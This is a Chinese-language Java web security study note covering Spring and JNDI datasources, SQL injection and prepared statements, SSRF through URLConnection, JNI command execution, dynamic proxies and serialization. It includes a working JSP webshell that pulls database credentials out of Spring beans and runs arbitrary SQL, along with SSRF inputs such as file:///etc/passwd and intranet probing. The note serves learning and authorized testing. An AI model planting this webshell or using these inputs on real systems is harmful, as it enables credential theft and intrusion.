<property name= "url" value="${jdbc.url}"/>
<property name="username" value="${jdbc.username}"/>
<property name="password" value="${jdbc.password}"/>
....
/>

 如上,我们定义了一个id为dataSource的Spring Bean对象,。usernamepassword都使用了${jdbc.xxx}表示。很明显,${jdbc.username}并不是数据库的用户名,这其实是采用了Springproperty-placeholerd制定一个properties文件,使用${jdbc.username}其实会自动自定义的properties配置文件中的配置信息。

<context:property-placeholder location="classpath:/config/jdbc.propertities">

 其中,jdbc.properties的内容为

jdbc.driver=com.mysql.jdbc.Driver
jdbc.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
jdbc.username=root
jdbc.password=root

在Spring中,我们只需要通过引用这个bean就可以获取到数据源了,比如在Spring JDBC中通过注入数据源(ref="dataSource")就可以获取到上面定义的dataSource

<!-- jdbcTemplate Spring JDBC 模版 -->
<bean id="jdbcTemplate" class="org.springframework.jdbc.core.JdbcTemplate" abstract="false" lazy-init="false">
  <property name="dataSource" ref="dataSource"/>
</bean>

SpringBoot配置数据源

在SpringBoot中,只需要在application properties或者 application.yml中定义

spring.datasource.xxx即可完成DataSource的配置

spring.datasource.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
spring.datasource.username=root
spring.datasource.password=root
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.driver-class-name=com.mysql.jdbc.Driver

Spring 数据源Hack

我们通常可以查找Spring数据库配置信息找到数据库账号和密码,但是我们可能会找到非常多的配置项,甚至是加密的配置信息,这将会使我们非常难以确定真实的数据库配置信息。。某些时候在授权渗透测试的情况下我们可能会需要传个shell尝试性的连接下数据库(高危操作,请勿违法!)证明下危害,那么您可以在webshell中使用注入数据源的方式来获取数据库连接对象,甚至是读取数据库密码(切记不要未经用户授权违规操作!)。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.springframework.context.ApplicationContext" %>
<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.PreparedStatement" %>
<%@ page import="java.sql.ResultSet" %>
<%@ page import="java.sql.ResultSetMetaData" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<style>
    th, td {
        border: 1px solid #C1DAD7;
        font-size: 12px;
        padding: 6px;
        color: #4f6b72;
    }
</style>
<%!
    // C3PO数据源类
    private static final String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource";

    // DBCP数据源类
    private static final String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource";

    //Druid数据源类
    private static final String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource";

    /**
     * 获取所有Spring管理的数据源
     * @param ctx Spring上下文
     * @return 数据源数组
     */
    List<DataSource> getDataSources(ApplicationContext ctx) {
        List<DataSource> dataSourceList = new ArrayList<DataSource>();
        String[]         beanNames      = ctx.getBeanDefinitionNames();

        for (String beanName : beanNames) {
            Object object = ctx.getBean(beanName);

            if (object instanceof DataSource) {
                dataSourceList.add((DataSource) object);
            }
        }

        return dataSourceList;
    }

    /**
     * 打印Spring的数据源配置信息,当前只支持DBCP/C3P0/Druid数据源类
     * @param ctx Spring上下文对象
     * @return 数据源配置字符串
     * @throws ClassNotFoundException 数据源类未找到异常
     * @throws NoSuchMethodException 反射调用时方法没找到异常
     * @throws InvocationTargetException 反射调用异常
     * @throws IllegalAccessException 反射调用时不正确的访问异常
     */
    String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException,
            NoSuchMethodException, InvocationTargetException, IllegalAccessException {

        List<DataSource> dataSourceList = getDataSources(ctx);

        for (DataSource dataSource : dataSourceList) {
            String className = dataSource.getClass().getName();
            String url       = null;
            String UserName  = null;
            String PassWord  = null;

            if (C3P0_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(C3P0_CLASS_NAME);
                url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource);
                UserName = (String) clazz.getMethod("getUser").invoke(dataSource);
                PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
            } else if (DBCP_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(DBCP_CLASS_NAME);
                url = (String) clazz.getMethod("getUrl").invoke(dataSource);
                UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
                PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
            } else if (DRUID_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(DRUID_CLASS_NAME);
                url = (String) clazz.getMethod("getUrl").invoke(dataSource);
                UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
                PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
            }

            return "URL:" + url + "<br/>UserName:" + UserName + "<br/>PassWord:" + PassWord + "<br/>";
        }

        return null;
    }
%>
<%
    String sql = request.getParameter("sql");// 定义需要执行的SQL语句

    // 获取Spring的ApplicationContext对象
    ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());

    // 获取Spring中所有的数据源对象
    List<DataSource> dataSourceList = getDataSources(ctx);

    // 检查是否获取到了数据源
    if (dataSourceList == null) {
        out.println("未找到任何数据源配置信息!");
        return;
    }

    out.println("<hr/>");
    out.println("Spring DataSource配置信息获取测试:");
    out.println("<hr/>");
    out.print(printDataSourceConfig(ctx));
    out.println("<hr/>");

    // 定义需要查询的SQL语句
    sql = sql != null ? sql : "select version()";

    for (DataSource dataSource : dataSourceList) {
        out.println("<hr/>");
        out.println("SQL语句:<font color='red'>" + sql + "</font>");
        out.println("<hr/>");

        //从数据源中获取数据库连接对象
        Connection connection = dataSource.getConnection();

        // 创建预编译查询对象
        PreparedStatement pstt = connection.prepareStatement(sql);

        // 执行查询并获取查询结果对象
        ResultSet rs = pstt.executeQuery();

        out.println("<table><tr>");

        // 获取查询结果的元数据对象
        ResultSetMetaData metaData = rs.getMetaData();

        // 从元数据中获取字段信息
        for (int i = 1; i <= metaData.getColumnCount(); i++) {
            out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")\t" + "</th>");
        }

        out.println("<tr/>");

        // 获取JDBC查询结果
        while (rs.next()) {
            out.println("<tr>");

            for (int i = 1; i <= metaData.getColumnCount(); i++) {
                out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>");
            }

            out.println("<tr/>");
        }

        rs.close();
        pstt.close();
    }
%>

以上代码不需要手动去配置文件里,寻找任何信息就可以直接读取出数据库配置信息,甚至是执行SQL语句。

其实是利用了Spring的ApplicationContext遍历了当前Web应用中Spring管理的所有的Bean,然后找出所有DataSource的对象,通过反射读取出C3P0DBCPDruid这三类数据源的数据库配置信息,最后还利用了DataSource获取了Connection对象实现了数据库查询功能。

JAVA web server数据源

除了第三方数据库的实现,标准的WEB容器自身也提供了数据源服务。通常会在容器中配置DataSource信息,并注册到JNDI(Java Naming and Directory Interface)中,在web的应用中,我们可以通过JNDI的接口,lookup(定义的JNDI)路径来获取到DataSource对象

Tomcat JNDI DataSource

<Context>

  <Resource name="jdbc/test" auth="Container" type="javax.sql.DataSource"
               maxTotal="100" maxIdle="30" maxWaitMillis="10000"
               username="root" password="root" driverClassName="com.mysql.jdbc.Driver"
               url="jdbc:mysql://localhost:3306/mysql"/>

</Context>

Resin JNDI DataSource

<database jndi-name='jdbc/test'>
  <driver type="com.mysql.jdbc.Driver">
    <url>jdbc:mysql://localhost:3306/mysql</url>
    <user>root</user>
    <password>root</password>
  </driver>
</database><database jndi-name='jdbc/test'>
  <driver type="com.mysql.jdbc.Driver">
    <url>jdbc:mysql://localhost:3306/mysql</url>
    <user>root</user>
    <password>root</password>
  </driver>
</database>

JDBC SQL注入

过滤'(单引号)"(双引号)并不能有效的防止整型注入,但是可以有效的防御字符型注入。解决注入的根本手段应该使用参数预编译的方式。

PreparedStatement SQL预编译查询

使用?占位的方式,即可实现SQL预编译查询

// 获取用户传入的用户ID
String id = request.getParameter("id");

// 定义最终执行的SQL语句,这里会将用户从请求中传入的host字符串拼接到最终的SQL
// 语句当中,从而导致了SQL注入漏洞。
String sql = "select id, username, email from sys_user where id =? ";

// 创建预编译对象
PreparedStatement pstt = connection.prepareStatement(sql);

// 设置预编译查询的第一个参数值
pstt.setObject(1, id);

// 执行SQL语句并获取返回结果对象
ResultSet rs = pstt.executeQuery();

需要特别注意的是并不是使用PreparedStatement来执行SQL语句就没有注入漏洞,而是将用户传入部分使用?(问号)占位符表示并使用PreparedStatement预编译SQL语句才能够防止注入!

预编译前的值为root',预编译后的值为'root\''

mysql预编译

Mysql默认提供了预编译命令:prepare,使用prepare命令可以在Mysql数据库服务端实现预编译查询。

prepare stmt from 'select host,user from mysql.user where user = ?';
set @username='root';
execute stmt using @username;

URL Connection

在java中,Java抽象出来了一个URLConnection类,它用来表示应用程序以及与URL建立通信连接的所有类的超类,通过URL类中的openConnection方法获取到URLConnection的类对象。

Java中URLConnection 支持的协议可以在sun.net.www.protocol看到

上图虽然有gopher,但是,gopher在jdk8版本之后是被阉割的。

public class URLConnectionDemo {

    public static void main(String[] args) throws IOException {
        URL url = new URL("https://www.baidu.com");

        // 打开和url之间的连接
        URLConnection connection = url.openConnection();

        // 设置请求参数
        connection.setRequestProperty("user-agent", "javasec");
        connection.setConnectTimeout(1000);
        connection.setReadTimeout(1000);
        ...

        // 建立实际连接
        connection.connect();

        // 获取响应头字段信息列表
        connection.getHeaderFields();

        // 获取URL响应
        connection.getInputStream();

        StringBuilder response = new StringBuilder();
        BufferedReader in = new BufferedReader(
                new InputStreamReader(connection.getInputStream()));
        String line;

        while ((line = in.readLine()) != null) {
            response.append("/n").append(line);
        }

        System.out.print(response.toString());
    }
}
  1. 首先使用URL建立一个对象
  2. 调用url对象中的openConnection来获取一个URLConnection的实例
  3. 然后通过在URLConnection设置各种请求参数以及一些配置在使用其中的connect方法来发起请求,然后在调用getInputStream来获请求的响应流。

SSRF攻击

URL url = new URL(url);
URLConnection connection = url.openConnection();
connection.connect();
connection.getInputStream();
StringBuilder response = new StringBuilder();
BufferedReader in = new BufferedReader(
new InputStreamReader(connection.getInputStream()));
String line;

while ((line = in.readLine()) != null) {
    response.append("/n").append(line);
}

System.out.print(response.toString());

当url可控,那么将url参数传入为file:///etc/passwd,则会读取本地/etc/passwd的文件

但是如果上述代码中将url.openConnection()返回的对象强转为HttpURLConnection,则会抛出如下异常

Exception in thread "main" java.lang.ClassCastException: sun.net.www.protocol.file.FileURLConnection cannot be cast to java.net.HttpURLConnection

如果传入的是http://192.168.xx.xx:80,且192.168.xx.xx80端口存在的,则会将其网页源码输出出来

java中默认对(http}}https)做了一些事情 ,比如

  • 默认启用了透明的NTLM认证
  • 默认跟随跳转

https://xlab.tencent.com/cn/2019/03/18/ghidra-from-xxe-to-rce/

他会跟随跳转的URL进行协议的判断,所以java的SSRF漏洞利用方式整体比较有限

  • 利用file协议读取文件内容(仅限使用URLConnection|URL 发起的请求)
  • 利用http 进行内网web服务端口探测
  • 利用http 进行内网非web服务端口探测(如果将异常抛出来的情况下)
  • 利用http进行ntlmrelay攻击(仅限HttpURLConnection或者二次包装HttpURLConnection并未复写AuthenticationInfo方法的对象)

JNI安全基础

java语言是基于C语言实现的,java底层的API都是通过JNI(JAVA Native Interface)来实现的。通过JNI接口,C/C++和java可以互相调用。java可以通过JNI调用弥补语言自身的缺陷,但是也会带来一系列的安全问题

JNI-定义native方法

首先在Java中如果想要调用native方法,那么需要在类中先定义一个native方法。

public class CommandExecution {

    public static native String exec(String cmd);

}

 

我们只需要使用native关键字定义一个类似于接口的方法就可以了。

JNI-生成类头文件

如上,我们已经编写好了CommandExecution.java,现在我们需要编译并生成c语言头文件

完整的步骤如下:

  1. Cd 当前目录
  2. Javac -cp CommandExcution.java
  3. Javah -d -cp . CommandExecution

如果是JDK>=10的话,需要使用javac -cp xxx.java -h 文件输出路径

之后就可以看到.h的头文件了,之后就是动态链接库的编写

头文件命名强制性

JDK<10以前,javah生成的头文件函数命名方式是非常有强制性的约束的

如:Java_com_anbai_sec_cmd_CommandExecution_execJava_是固定的前缀,

com_anbai_sec_cmd_CommandExecution也就代表着Java的完整包名称:com.anbai.sec.cmd.CommandExecution_exec自然是表示的方法名称了。(JNIEnv *, jclass, jstring)表示分别是JNI环境变量对象java调用的类对象参数入参类型

JNI基础数据类型

需要特别注意的是Java和JNI定义的类型是需要转换的,不能直接使用Java里的类型,也不能直接将JNI、C/C++的类型直接返回给Java。

无法复制加载中的内容

JNI编写 C/C++本地命令实现(未解决)

如上,我们已经写好了头文件,接下来,我们需要使用C/C++编写函数实现最终代码

//
// Created by yz on 2019/12/6.
//
#include <iostream>
#include <stdlib.h>
#include <cstring>
#include <string>
#include "com_anbai_sec_cmd_CommandExecution.h"

using namespace std;

JNIEXPORT jstring

JNICALL Java_com_anbai_sec_cmd_CommandExecution_exec
        (JNIEnv *env, jclass jclass, jstring str) {

    if (str != NULL) {
        jboolean jsCopy;
        // 将jstring参数转成char指针
        const char *cmd = env->GetStringUTFChars(str, &jsCopy);

        // 使用popen函数执行系统命令
        FILE *fd  = popen(cmd, "r");

        if (fd != NULL) {
            // 返回结果字符串
            string result;

            // 定义字符串数组
            char buf[128];

            // 读取popen函数的执行结果
            while (fgets(buf, sizeof(buf), fd) != NULL) {
                // 拼接读取到的结果到result
                result +=buf;
            }

            // 关闭popen
            pclose(fd);

            // 返回命令执行结果给Java
            return env->NewStringUTF(result.c_str());
        }

    }

    return NULL;
}

JAVA动态代理

JAVA反射提供了一种类动态代理机制,可以通过代理接口实现类完成程序的无侵入扩展

java动态代理的主要使用场景

  1. 统计方法执行所耗时间
  2. 在方法执行前后添加日志
  3. 检测方法的参数或返回值
  4. 方法访问 的权限控制
  5. 方法Mock测试

动态代理API

创建动态代理类会用到java.lang.reflect.Proxy类和java.lang.reflect.InvocationHadnler接口,

java.lang.reflect.Proxy主要用于生成动态代理类Class、创建代理类实例,该类实现了java.io.Serializable接口。

java.lang.reflect.Proxy 的主要方法如下

package java.lang.reflect;

import java.lang.reflect.InvocationHandler;

/**
 * Creator: yz
 * Date: 2020/1/15
 */
public class Proxy implements java.io.Serializable {

  // 省去成员变量和部分类方法...

    /**
     * 获取动态代理处理类对象
     *
     * @param proxy 返回调用处理程序的代理实例
     * @return 代理实例的调用处理程序
     * @throws IllegalArgumentException 如果参数不是一个代理实例
     */
    public static InvocationHandler getInvocationHandler(Object proxy)
            throws IllegalArgumentException {
        ...
    }

    /**
     * 创建动态代理类实例
     *
     * @param loader     指定动态代理类的类加载器
     * @param interfaces 指定动态代理类的类需要实现的接口数组
     * @param h          动态代理处理类
     * @return 返回动态代理生成的代理类实例
     * @throws IllegalArgumentException 不正确的参数异常
     */
    public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
            throws IllegalArgumentException {
        ...
    }

    /**
     * 创建动态代理类
     *
     * @param loader     定义代理类的类加载器
     * @param interfaces 代理类要实现的接口列表
     * @return 用指定的类加载器定义的代理类,它可以实现指定的接口
     */
    public static Class<?> getProxyClass(ClassLoader loader, Class<?>... interfaces) {
        ...
    }

    /**
     * 检测某个类是否是动态代理类
     *
     * @param cl 要测试的类
     * @return 如该类为代理类,则为 true,否则为 false
     */
    public static boolean isProxyClass(Class<?> cl) {
        return java.lang.reflect.Proxy.class.isAssignableFrom(cl) && proxyClassCache.containsValue(cl);
    }

    /**
     * 向指定的类加载器中定义一个类对象
     *
     * @param loader 类加载器
     * @param name   类名
     * @param b      类字节码
     * @param off    截取开始位置
     * @param len    截取长度
     * @return JVM创建的类Class对象
     */
    private static native Class defineClass0(ClassLoader loader, String name, byte[] b, int off, int len);

}

使用java.lang.reflect.proxy动态创建对象

前面章节我们讲到了ClassLoaderUnsafe都有一个叫做defineClassXXXnative方法,我们可以通过调用这个native方法动态的向JVM创建一个类对象,而java.lang.reflect.Proxy类恰好也有这么一个native方法,所以我们也将可以通过调用java.lang.reflect.ProxydefineClass0方法实现动态创建类对象。

package com.anbai.sec.proxy;

import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

import static com.anbai.sec.classloader.TestClassLoader.TEST_CLASS_BYTES;
import static com.anbai.sec.classloader.TestClassLoader.TEST_CLASS_NAME;

/**
 * Creator: yz
 * Date: 2020/1/15
 */
public class ProxyDefineClassTest {

    public static void main(String[] args) {
        // 获取系统的类加载器,可以根据具体情况换成一个存在的类加载器
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();

        try {
            // 反射java.lang.reflect.Proxy类获取其中的defineClass0方法
            Method method = Proxy.class.getDeclaredMethod("defineClass0", new Class[]{
                    ClassLoader.class, String.class, byte[].class, int.class, int.class
            });

            // 修改方法的访问权限
            method.setAccessible(true);

            // 反射调用java.lang.reflect.Proxy.defineClass0()方法,动态向JVM注册
            // com.anbai.sec.classloader.TestHelloWorld类对象
            Class helloWorldClass = (Class) method.invoke(null, new Object[]{
                    classLoader, TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length
            });

            // 输出TestHelloWorld类对象
            System.out.println(helloWorldClass);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

动态代理添加方法调用的实例

假设我们有一个叫做FileSystem接口,UnixFileSystem类出现了FileSystem接口,我们可以使用JDK动态代理的方式给FileSystem的接口方法,执行前后都添加日志输出。

import java.io.File;
import java.lang.reflect.Proxy;
import java.util.Arrays;

public class FileSystemProxyTest {
    public static void main(String[] args) {
        //创建UnixFileSystem类实例
        FileSystem fileSystem = new UnixFileSystem();
        //使用JDK动态代理生成FileSystem动态生成代理实例
        FileSystem proxyInstance  = (FileSystem) Proxy.newProxyInstance(
                FileSystem.class.getClassLoader(),//指定动态代理的类加载器
                new Class[]{FileSystem.class},//定义动态代理生成的类实现的接口
                new JDKInvocationHandler(fileSystem)//动态代理处理类
        );
        System.out.println("动态代理生成的类名:" + proxyInstance.getClass());
        System.out.println("----------------------------------------------------------------------------------------");
        System.out.println("动态代理生成的类名toString:" + proxyInstance.toString());
        System.out.println("----------------------------------------------------------------------------------------");
        // 使用动态代理的方式UnixFileSystem方法
        String[] files = proxyInstance.list(new File("."));

        System.out.println("----------------------------------------------------------------------------------------");
        System.out.println("UnixFileSystem.list方法执行结果:" + Arrays.toString(files));
        System.out.println("----------------------------------------------------------------------------------------");

        boolean isFileSystem     = proxyInstance instanceof FileSystem;
        boolean isUnixFileSystem = proxyInstance instanceof UnixFileSystem;

        System.out.println("动态代理类[" + proxyInstance.getClass() + "]是否是FileSystem类的实例:" + isFileSystem);
        System.out.println("----------------------------------------------------------------------------------------");
        System.out.println("动态代理类[" + proxyInstance.getClass() + "]是否是UnixFileSystem类的实例:" + isUnixFileSystem);
        System.out.println("----------------------------------------------------------------------------------------");
    }

}

动态代理类生成的$ProxyXXX类代码分析

java.lang.reflect.Proxy类是通过创建一个新的java类(类名是com.sun.proxy.$ProxyXXX)的方法来实现无侵入的类方法的代理功能

动态代理有如下技术特性

  1. 动态代理类必须是接口类,通过动态生成一个接口类来代理接口的方法调用(反射机制)
  2. 动态代理类会由java.lang.reflect.Proxy.ProxyClassFactor创建
  3. ProxyClassFactory会调用sun.misc.ProxyGenerator类生成该类的字节码,并调用java.lang.reflect.proxy.defineClass0()方法将该类注册到JVM
  4. 该类继承于java.lang.reflect.Proxy并实现了需要被代理的接口类,因为java.lang.reflect.Proxy类实现了java.io.Serializable接口,所以被代理的类支持序列化/反序列化
  5. 该类实现了代理接口类(示例中的接口类是com.anbai.sec.proxy.FileSystem),会通过ProxyGenerator动态生成接口类(FileSystem)的所有方法,
  6. 该类因为实现了代理的接口类,所以当前类是代理的接口类的实例(proxyInstance instanceof FileSystemtrue),但不是代理接口类的实现类的实例(proxyInstance instanceof UnixFileSystemfalse)。
  7. 该类方法中包含了被代理的接口类的所有方法,通过动态代理处理类(InvocationHandler) 的invoke方法执行结果
  8. 该类代理的方式重写了java.lang.Object类的toStringhashCodeequals方法
  9. 如果通过动态代理生成了多个动态代理类,新生成的类名中0会自增

动态代理生成的com.sun.proxy.$Proxy0 类代码

package com.sun.proxy.$Proxy0;

import java.io.File;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.lang.reflect.UndeclaredThrowableException;

public final class $Proxy0 extends Proxy implements FileSystem {

    private static Method m1;

  // 实现的FileSystem接口方法,如果FileSystem里面有多个方法那么在这个类中将从m3开始n个成员变量
    private static Method m3;

    private static Method m0;

    private static Method m2;

    public $Proxy0(InvocationHandler var1) {
        super(var1);
    }

    public final boolean equals(Object var1) {
        try {
            return (Boolean) super.h.invoke(this, m1, new Object[]{var1});
        } catch (RuntimeException | Error var3) {
            throw var3;
        } catch (Throwable var4) {
            throw new UndeclaredThrowableException(var4);
        }
    }

    public final String[] list(File var1) {
        try {
            return (String[]) super.h.invoke(this, m3, new Object[]{var1});
        } catch (RuntimeException | Error var3) {
            throw var3;
        } catch (Throwable var4) {
            throw new UndeclaredThrowableException(var4);
        }
    }

    public final int hashCode() {
        try {
            return (Integer) super.h.invoke(this, m0, (Object[]) null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    public final String toString() {
        try {
            return (String) super.h.invoke(this, m2, (Object[]) null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    static {
        try {
            m1 = Class.forName("java.lang.Object").getMethod("equals", Class.forName("java.lang.Object"));
            m3 = Class.forName("com.anbai.sec.proxy.FileSystem").getMethod("list", Class.forName("java.io.File"));
            m0 = Class.forName("java.lang.Object").getMethod("hashCode");
            m2 = Class.forName("java.lang.Object").getMethod("toString");
        } catch (NoSuchMethodException var2) {
            throw new NoSuchMethodError(var2.getMessage());
        } catch (ClassNotFoundException var3) {
            throw new NoClassDefFoundError(var3.getMessage());
        }
    }
}

动态代理类实例序列化问题

动态代理类符合java对象序列化条件,并且在序列化/反序列化时会被objectInputStream/ObjectOutputStream特殊处理

FileSystemProxySerializationTest示例代码:

package com.anbai.sec.proxy;

import java.io.*;
import java.lang.reflect.Proxy;

/**
 * Creator: yz
 * Date: 2020/1/14
 */
public class FileSystemProxySerializationTest {

   public static void main(String[] args) {
      try {
         // 创建UnixFileSystem类实例
         FileSystem fileSystem = new UnixFileSystem();

         // 使用JDK动态代理生成FileSystem动态代理类实例
         FileSystem proxyInstance = (FileSystem) Proxy.newProxyInstance(
               FileSystem.class.getClassLoader(),// 指定动态代理类的类加载器
               new Class[]{FileSystem.class}, // 定义动态代理生成的类实现的接口
               new JDKInvocationHandler(fileSystem)// 动态代理处理类
         );

         ByteArrayOutputStream baos = new ByteArrayOutputStream();

         // 创建Java对象序列化输出流对象
         ObjectOutputStream out = new ObjectOutputStream(baos);

         // 序列化动态代理类
         out.writeObject(proxyInstance);
         out.flush();
         out.close();

         // 利用动态代理类生成的二进制数组创建二进制输入流对象用于反序列化操作
         ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());

         // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
         ObjectInputStream in = new ObjectInputStream(bais);

         // 反序列化输入流数据为FileSystem对象
         FileSystem test = (FileSystem) in.readObject();

         System.out.println("反序列化类实例类名:" + test.getClass());
         System.out.println("反序列化类实例toString:" + test.toString());
      } catch (IOException e) {
         e.printStackTrace();
      } catch (ClassNotFoundException e) {
         e.printStackTrace();
      }

   }

}

动态代理生成的类在反序列化/序列化时,不会序列化该类的成员变量,并且serialVersionUID0L,也将时说该类的class对象传输给java.io.ObjectStreamClass的静态lookup方法时候,返回的ObjectStreamClass实例具有以下特性

  1. 调用其getSeriaVersionUID方法,返回0L
  2. 调用其getFields方法将返回长度为0的数组
  3. 调用其getField方法将返回null

但其父类(java.lang.reflect.Proxy)在序列化时不受影响,父类中的h变量(InvocationHandler)将会被序列化,这个h存储了动态代理类的处理类实例以及动态代理的接口类的实现类的实例。

JAVA序列化和反序列化

Java对象序列化指的是将一个Java类实例序列化成字节数组,用于存储对象实例化信息:类成员变量和属性值。 Java反序列化可以将序列化后的二进制数组转换为对应的Java类实例

Java序列化对象因其可以方便的将对象转换成字节数组,又可以方便快速的将字节数组反序列化成Java对象而被非常频繁的被用于Socket传输。 在RMI(Java远程方法调用-Java Remote Method Invocation)JMX(Java管理扩展-Java Management Extensions)服务中对象反序列化机制被强制性使用。在Http请求中也时常会被用到反序列化机制,如:直接接收序列化请求的后端服务、使用Base编码序列化字节字符串的方式传递等。

java反序列化漏洞

自从2015年Apache Commons Collections反序列化漏洞ysoseria这个工具的使用就开始流行开来,

java序列化和反序列化的例子

在java中实现对象反序列化非常简单,实现java.io.Serializable(内部序列化)或者是java.io.Externalizable接口知识实现了java.io.Serlizable接口

反序列化的对象必须有如下限制

  1. 被反序列化的类必须存在
  2. SerialVersionUID值必须一致

除此之外,反序列化类对象是不会调用该类构造方法的,因为在反序列化创建类实例时使用了sun.reflect.ReflectionFactory.newConstructorForSerialization创建了一个反序列化专用的Constructor(反射构造方法对象),使用这个特殊的Constructor可以绕过构造方法创建类实例(前面章节讲sun.misc.Unsafe 的时候我们提到了使用allocateInstance方法也可以实现绕过构造方法创建类实例)

使用反序列化方式创造类代码示例的片段

import sun.reflect.ReflectionFactory;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;

/**
 * 使用反序列化的方式,在不调用类构造方法的情况下创建实例
 */

public class Reflect {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        //获取sun.reflect.ReflectionFactory对象
        ReflectionFactory factory = ReflectionFactory.getReflectionFactory();
        //使用反序列化方式获取构造方法
        Constructor constructor = factory.newConstructorForSerialization(UnixFileSystem.class, Object.class.getConstructor());
        //实例化
        System.out.println(constructor.newInstance());
    }


}

具体细节可以参考不用构造方法也能创建对象 - Java综合 - Java - ITeye论坛

ObjectInputStream和ObjectOutputStream

java.io.ObjectOutputStream类最核心的方法是writeObject方法,即序列化类对象。

java.io.ObjectInputStream类最核心的功能是readObject方法,即反序列化类对象。

所以,只要借助,ObjectInputStreamObjectOutputstream就可以实现类的序列化和反序列化功能。

java.io.Serializable

java.io.Serializable是一个空的接口,我们不需要实现java.io.Serializable的任何方法,代码如下:

public interface Serializable{
}

空接口的意义其实是为了标识这个类可序列化,实现了java.io.Serializable接口的类原则上都需要生产一个seriaVersionUID常量,反序列化时,如果双方的serialVersionUID不一致则会导致InvalidClassException异常。如果可序列化类未显式声明serialVersionUID,则序列化运行时将基于该类的各个方面计算该类默认的serialVersionUID

测试代码如下:

import java.io.*;
import java.lang.reflect.Array;
import java.util.Arrays;

public class DeserializationTest implements Serializable {
    private String usernamne;
    private String email;

    //创建getter和setter方法
    public String getUsernamne() {
        return usernamne;
    }

    public void setUsernamne(String usernamne) {
        this.usernamne = usernamne;
    }

    public String getEmail() {
        return email;
    }

    public void setEmail(String email) {
        this.email = email;
    }
    //创建Deserialization类,并设置属性
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        DeserializationTest t= new DeserializationTest();
        t.setUsernamne("hhhh");
        t.setEmail("admin@javaweb.org");
        //创建Java对象序列化输出流对象
        ObjectOutputStream out  =new ObjectOutputStream(baos);
        //序列化DeserializationTest类
        out.writeObject(t);
        out.flush();
        out.close();
        //打印序列化后的字节数组,可以将其储存到文件中,或者通过Socket发送到远程服务地址
        System.out.println("DeserializationTest类序列化后的字节数组"+ Arrays.toString(baos.toByteArray()));
        //通过DererializationTest类生成的二进制数组数组创建二进制输入流对象用于反序列化的操作
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        //通过反序列化输入流(bais),创建 java对象输入流(ObjectInputStream)对象
        ObjectInputStream in = new ObjectInputStream(bais);
        //反序列化输入流数据为对象
        DeserializationTest test =(DeserializationTest) in.readObject();
        System.out.println("用户名"+test.getUsernamne()+",邮箱"+test.getEmail());
        //ObjectInputStream输入流
        in.close();
    }
}

执行结果如下:

"E:\JetBrains\IDEA\IntelliJ IDEA 2020.3.2\jbr\bin\java.exe" "-javaagent:E:\JetBrains\IDEA\IntelliJ IDEA 2020.3.2\lib\idea_rt.jar=3337:E:\JetBrains\IDEA\IntelliJ IDEA 2020.3.2\bin" -Dfile.encoding=UTF-8 -classpath "D:\NetworkSec\n day\dubbo\Test\out\production\Test" DeserializationTest
DeserializationTest类序列化后的字节数组[-84, -19, 0, 5, 115, 114, 0, 19, 68, 101, 115, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 84, 101, 115, 116, 94, -103, -5, -9, 18, -9, -8, -103, 2, 0, 2, 76, 0, 5, 101, 109, 97, 105, 108, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 0, 9, 117, 115, 101, 114, 110, 97, 109, 110, 101, 113, 0, 126, 0, 1, 120, 112, 116, 0, 17, 97, 100, 109, 105, 110, 64, 106, 97, 118, 97, 119, 101, 98, 46, 111, 114, 103, 116, 0, 4, 104, 104, 104, 104]
用户名hhhh,邮箱admin@javaweb.org

Process finished with exit code 0

java.io.Externalizable

